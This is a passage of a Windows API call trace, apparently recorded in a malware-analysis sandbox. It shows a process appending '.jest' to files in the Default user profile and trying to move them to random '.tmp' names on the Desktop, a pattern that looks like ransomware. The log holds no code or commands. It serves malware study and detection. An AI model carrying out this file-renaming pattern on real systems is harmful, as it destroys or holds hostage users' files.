MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.jest")) returned 1 [0129.919] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", lpFilePart=0x18e6d8*="WMSDKNS.XML") returned 0x47 [0129.919] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.919] GetLastError () returned 0x2 [0129.920] VarBstrFromR4 (in: fltIn=0x479446dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.73") returned 0x0 [0129.920] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.920] CoFreeUnusedLibraries () [0129.920] GetTickCount () returned 0x1152e42 [0129.920] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.920] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.920] GetTickCount () returned 0x1152e42 [0129.920] IsWindowVisible (hWnd=0x30268) returned 0 [0129.921] Sleep (dwMilliseconds=0x0) [0129.921] GetFullPathNameA (in: lpFileName="3-u34PTD5zgFACbwS38mm0cUJvW-SAD5tdA KqLXPR88qXTEGA7dZ6i7PsY _ VI9pkQKigrXoOq-Upd3IBHDzo2gujBmTiXe6Irp.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3-u34PTD5zgFACbwS38mm0cUJvW-SAD5tdA KqLXPR88qXTEGA7dZ6i7PsY _ VI9pkQKigrXoOq-Upd3IBHDzo2gujBmTiXe6Irp.tmp", lpFilePart=0x18e708*="3-u34PTD5zgFACbwS38mm0cUJvW-SAD5tdA KqLXPR88qXTEGA7dZ6i7PsY _ VI9pkQKigrXoOq-Upd3IBHDzo2gujBmTiXe6Irp.tmp") returned 0x8f [0129.921] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", lpFilePart=0x18e708*="WMSDKNS.XML") returned 0x47 [0129.922] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3-u34PTD5zgFACbwS38mm0cUJvW-SAD5tdA KqLXPR88qXTEGA7dZ6i7PsY _ VI9pkQKigrXoOq-Upd3IBHDzo2gujBmTiXe6Irp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3-u34ptd5zgfacbws38mm0cujvw-sad5tda kqlxpr88qxtega7dz6i7psy _ vi9pkqkigrxooq-upd3ibhdzo2gujbmtixe6irp.tmp")) returned 0 [0129.922] GetLastError () returned 0x2 [0129.922] GetLastError () returned 0x2 [0129.922] SetLastError (dwErrCode=0x2) [0129.922] GetLastError () returned 0x2 [0129.922] SetLastError (dwErrCode=0x2) [0129.922] GetLastError () returned 0x2 [0129.922] SetLastError (dwErrCode=0x2) [0129.922] GetFullPathNameA (in: lpFileName="3-u34PTD5zgFACbwS38mm0cUJvW-SAD5tdA KqLXPR88qXTEGA7dZ6i7PsY _ VI9pkQKigrXoOq-Upd3IBHDzo2gujBmTiXe6Irp.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3-u34PTD5zgFACbwS38mm0cUJvW-SAD5tdA KqLXPR88qXTEGA7dZ6i7PsY _ VI9pkQKigrXoOq-Upd3IBHDzo2gujBmTiXe6Irp.tmp", lpFilePart=0x18e6e4*="3-u34PTD5zgFACbwS38mm0cUJvW-SAD5tdA KqLXPR88qXTEGA7dZ6i7PsY _ VI9pkQKigrXoOq-Upd3IBHDzo2gujBmTiXe6Irp.tmp") returned 0x8f [0129.922] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3-u34PTD5zgFACbwS38mm0cUJvW-SAD5tdA KqLXPR88qXTEGA7dZ6i7PsY _ VI9pkQKigrXoOq-Upd3IBHDzo2gujBmTiXe6Irp.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x33752d33, cFileName="4PTD5zgFACbwS38mm0cUJvW-SAD5tdA KqLXPR88qXTEGA7dZ6i7PsY _ VI9pkQKigrXoOq-Upd3IBHDzo2gujBmTiXe6Irp.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.923] GetLastError () returned 0x2 [0129.923] GetLastError () returned 0x2 [0129.923] SetLastError (dwErrCode=0x2) [0129.924] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.925] CoFreeUnusedLibraries () [0129.925] GetTickCount () returned 0x1152e42 [0129.925] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.925] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.925] GetTickCount () returned 0x1152e42 [0129.925] IsWindowVisible (hWnd=0x30268) returned 0 [0129.925] Sleep (dwMilliseconds=0x0) [0129.925] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.jest")) returned 1 [0129.926] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", lpFilePart=0x18e6d8*="Stars.jpg") returned 0x4a [0129.927] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.927] GetLastError () returned 0x2 [0129.927] VarBstrFromR4 (in: fltIn=0x479446df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.74") returned 0x0 [0129.927] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.927] CoFreeUnusedLibraries () [0129.927] GetTickCount () returned 0x1152e51 [0129.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.928] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.928] GetTickCount () returned 0x1152e51 [0129.928] IsWindowVisible (hWnd=0x30268) returned 0 [0129.931] Sleep (dwMilliseconds=0x0) [0129.931] GetFullPathNameA (in: lpFileName="4JlHU5nO0x_ecd2hp8QqB6NuUir18OiKyCUdMnd4jBnlPfbXZMQHQOwCgl-wbxLHPTFFz4ofm_mOONYz7i4by2EOIqCWVwjAfiD.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4JlHU5nO0x_ecd2hp8QqB6NuUir18OiKyCUdMnd4jBnlPfbXZMQHQOwCgl-wbxLHPTFFz4ofm_mOONYz7i4by2EOIqCWVwjAfiD.tmp", lpFilePart=0x18e708*="4JlHU5nO0x_ecd2hp8QqB6NuUir18OiKyCUdMnd4jBnlPfbXZMQHQOwCgl-wbxLHPTFFz4ofm_mOONYz7i4by2EOIqCWVwjAfiD.tmp") returned 0x8d [0129.932] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", lpFilePart=0x18e708*="Stars.jpg") returned 0x4a [0129.932] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4JlHU5nO0x_ecd2hp8QqB6NuUir18OiKyCUdMnd4jBnlPfbXZMQHQOwCgl-wbxLHPTFFz4ofm_mOONYz7i4by2EOIqCWVwjAfiD.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4jlhu5no0x_ecd2hp8qqb6nuuir18oikycudmnd4jbnlpfbxzmqhqowcgl-wbxlhptffz4ofm_moonyz7i4by2eoiqcwvwjafid.tmp")) returned 0 [0129.932] GetLastError () returned 0x2 [0129.932] GetLastError () returned 0x2 [0129.932] SetLastError (dwErrCode=0x2) [0129.932] GetLastError () returned 0x2 [0129.932] SetLastError (dwErrCode=0x2) [0129.932] GetLastError () returned 0x2 [0129.932] SetLastError (dwErrCode=0x2) [0129.933] GetFullPathNameA (in: lpFileName="4JlHU5nO0x_ecd2hp8QqB6NuUir18OiKyCUdMnd4jBnlPfbXZMQHQOwCgl-wbxLHPTFFz4ofm_mOONYz7i4by2EOIqCWVwjAfiD.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4JlHU5nO0x_ecd2hp8QqB6NuUir18OiKyCUdMnd4jBnlPfbXZMQHQOwCgl-wbxLHPTFFz4ofm_mOONYz7i4by2EOIqCWVwjAfiD.tmp", lpFilePart=0x18e6e4*="4JlHU5nO0x_ecd2hp8QqB6NuUir18OiKyCUdMnd4jBnlPfbXZMQHQOwCgl-wbxLHPTFFz4ofm_mOONYz7i4by2EOIqCWVwjAfiD.tmp") returned 0x8d [0129.933] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4JlHU5nO0x_ecd2hp8QqB6NuUir18OiKyCUdMnd4jBnlPfbXZMQHQOwCgl-wbxLHPTFFz4ofm_mOONYz7i4by2EOIqCWVwjAfiD.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x486c4a34, cFileName="U5nO0x_ecd2hp8QqB6NuUir18OiKyCUdMnd4jBnlPfbXZMQHQOwCgl-wbxLHPTFFz4ofm_mOONYz7i4by2EOIqCWVwjAfiD.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.933] GetLastError () returned 0x2 [0129.933] GetLastError () returned 0x2 [0129.933] SetLastError (dwErrCode=0x2) [0129.933] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.933] CoFreeUnusedLibraries () [0129.933] GetTickCount () returned 0x1152e51 [0129.934] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.934] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.934] GetTickCount () returned 0x1152e51 [0129.934] IsWindowVisible (hWnd=0x30268) returned 0 [0129.934] Sleep (dwMilliseconds=0x0) [0129.934] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.jest")) returned 1 [0129.935] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", lpFilePart=0x18e6d8*="Soft Blue.htm") returned 0x4e [0129.935] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.936] GetLastError () returned 0x2 [0129.936] VarBstrFromR4 (in: fltIn=0x479446df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.74") returned 0x0 [0129.936] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.936] CoFreeUnusedLibraries () [0129.936] GetTickCount () returned 0x1152e51 [0129.937] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.937] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.937] GetTickCount () returned 0x1152e51 [0129.937] IsWindowVisible (hWnd=0x30268) returned 0 [0129.937] Sleep (dwMilliseconds=0x0) [0129.937] GetFullPathNameA (in: lpFileName="U5zs8OT2G-fFdx31D2MykujbICwBZGJoJsKW0JLpRu7sX6WsT3SvLfwpjh2kZ-S4P295ZQoRibkdG1JSFMpJXrUXxJUYWIpndxIe.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U5zs8OT2G-fFdx31D2MykujbICwBZGJoJsKW0JLpRu7sX6WsT3SvLfwpjh2kZ-S4P295ZQoRibkdG1JSFMpJXrUXxJUYWIpndxIe.tmp", lpFilePart=0x18e708*="U5zs8OT2G-fFdx31D2MykujbICwBZGJoJsKW0JLpRu7sX6WsT3SvLfwpjh2kZ-S4P295ZQoRibkdG1JSFMpJXrUXxJUYWIpndxIe.tmp") returned 0x8e [0129.938] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", lpFilePart=0x18e708*="Soft Blue.htm") returned 0x4e [0129.938] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U5zs8OT2G-fFdx31D2MykujbICwBZGJoJsKW0JLpRu7sX6WsT3SvLfwpjh2kZ-S4P295ZQoRibkdG1JSFMpJXrUXxJUYWIpndxIe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u5zs8ot2g-ffdx31d2mykujbicwbzgjojskw0jlpru7sx6wst3svlfwpjh2kz-s4p295zqoribkdg1jsfmpjxruxxjuywipndxie.tmp")) returned 0 [0129.938] GetLastError () returned 0x2 [0129.938] GetLastError () returned 0x2 [0129.938] SetLastError (dwErrCode=0x2) [0129.938] GetLastError () returned 0x2 [0129.938] SetLastError (dwErrCode=0x2) [0129.938] GetLastError () returned 0x2 [0129.939] SetLastError (dwErrCode=0x2) [0129.939] GetFullPathNameA (in: lpFileName="U5zs8OT2G-fFdx31D2MykujbICwBZGJoJsKW0JLpRu7sX6WsT3SvLfwpjh2kZ-S4P295ZQoRibkdG1JSFMpJXrUXxJUYWIpndxIe.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U5zs8OT2G-fFdx31D2MykujbICwBZGJoJsKW0JLpRu7sX6WsT3SvLfwpjh2kZ-S4P295ZQoRibkdG1JSFMpJXrUXxJUYWIpndxIe.tmp", lpFilePart=0x18e6e4*="U5zs8OT2G-fFdx31D2MykujbICwBZGJoJsKW0JLpRu7sX6WsT3SvLfwpjh2kZ-S4P295ZQoRibkdG1JSFMpJXrUXxJUYWIpndxIe.tmp") returned 0x8e [0129.939] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U5zs8OT2G-fFdx31D2MykujbICwBZGJoJsKW0JLpRu7sX6WsT3SvLfwpjh2kZ-S4P295ZQoRibkdG1JSFMpJXrUXxJUYWIpndxIe.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x737a3555, cFileName="8OT2G-fFdx31D2MykujbICwBZGJoJsKW0JLpRu7sX6WsT3SvLfwpjh2kZ-S4P295ZQoRibkdG1JSFMpJXrUXxJUYWIpndxIe.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.939] GetLastError () returned 0x2 [0129.939] GetLastError () returned 0x2 [0129.939] SetLastError (dwErrCode=0x2) [0129.940] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.940] CoFreeUnusedLibraries () [0129.940] GetTickCount () returned 0x1152e51 [0129.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.941] GetTickCount () returned 0x1152e51 [0129.941] IsWindowVisible (hWnd=0x30268) returned 0 [0129.941] Sleep (dwMilliseconds=0x0) [0129.943] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.jest")) returned 1 [0129.944] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFilePart=0x18e6d8*="Roses.htm") returned 0x4a [0129.944] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.944] GetLastError () returned 0x2 [0129.945] VarBstrFromR4 (in: fltIn=0x479446e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.76") returned 0x0 [0129.945] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.945] CoFreeUnusedLibraries () [0129.945] GetTickCount () returned 0x1152e61 [0129.945] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.945] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.945] GetTickCount () returned 0x1152e61 [0129.946] IsWindowVisible (hWnd=0x30268) returned 0 [0129.946] Sleep (dwMilliseconds=0x0) [0129.946] GetFullPathNameA (in: lpFileName="LM3CXsRkwqhi1HvgAyQJ2I3HUpEYOPhlzqylgZ3U7NiGRv1htkJLidUJtTLqm1tx2Jsks2yDBIX7rUecknhHO fs-kSvapwrF57NP.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LM3CXsRkwqhi1HvgAyQJ2I3HUpEYOPhlzqylgZ3U7NiGRv1htkJLidUJtTLqm1tx2Jsks2yDBIX7rUecknhHO fs-kSvapwrF57NP.tmp", lpFilePart=0x18e708*="LM3CXsRkwqhi1HvgAyQJ2I3HUpEYOPhlzqylgZ3U7NiGRv1htkJLidUJtTLqm1tx2Jsks2yDBIX7rUecknhHO fs-kSvapwrF57NP.tmp") returned 0x8f [0129.946] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFilePart=0x18e708*="Roses.htm") returned 0x4a [0129.947] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LM3CXsRkwqhi1HvgAyQJ2I3HUpEYOPhlzqylgZ3U7NiGRv1htkJLidUJtTLqm1tx2Jsks2yDBIX7rUecknhHO fs-kSvapwrF57NP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lm3cxsrkwqhi1hvgayqj2i3hupeyophlzqylgz3u7nigrv1htkjlidujttlqm1tx2jsks2ydbix7ruecknhho fs-ksvapwrf57np.tmp")) returned 0 [0129.947] GetLastError () returned 0x2 [0129.947] GetLastError () returned 0x2 [0129.947] SetLastError (dwErrCode=0x2) [0129.947] GetLastError () returned 0x2 [0129.947] SetLastError (dwErrCode=0x2) [0129.947] GetLastError () returned 0x2 [0129.947] SetLastError (dwErrCode=0x2) [0129.948] GetFullPathNameA (in: lpFileName="LM3CXsRkwqhi1HvgAyQJ2I3HUpEYOPhlzqylgZ3U7NiGRv1htkJLidUJtTLqm1tx2Jsks2yDBIX7rUecknhHO fs-kSvapwrF57NP.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LM3CXsRkwqhi1HvgAyQJ2I3HUpEYOPhlzqylgZ3U7NiGRv1htkJLidUJtTLqm1tx2Jsks2yDBIX7rUecknhHO fs-kSvapwrF57NP.tmp", lpFilePart=0x18e6e4*="LM3CXsRkwqhi1HvgAyQJ2I3HUpEYOPhlzqylgZ3U7NiGRv1htkJLidUJtTLqm1tx2Jsks2yDBIX7rUecknhHO fs-kSvapwrF57NP.tmp") returned 0x8f [0129.948] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LM3CXsRkwqhi1HvgAyQJ2I3HUpEYOPhlzqylgZ3U7NiGRv1htkJLidUJtTLqm1tx2Jsks2yDBIX7rUecknhHO fs-kSvapwrF57NP.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x43334d4c, cFileName="XsRkwqhi1HvgAyQJ2I3HUpEYOPhlzqylgZ3U7NiGRv1htkJLidUJtTLqm1tx2Jsks2yDBIX7rUecknhHO fs-kSvapwrF57NP.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.948] GetLastError () returned 0x2 [0129.948] GetLastError () returned 0x2 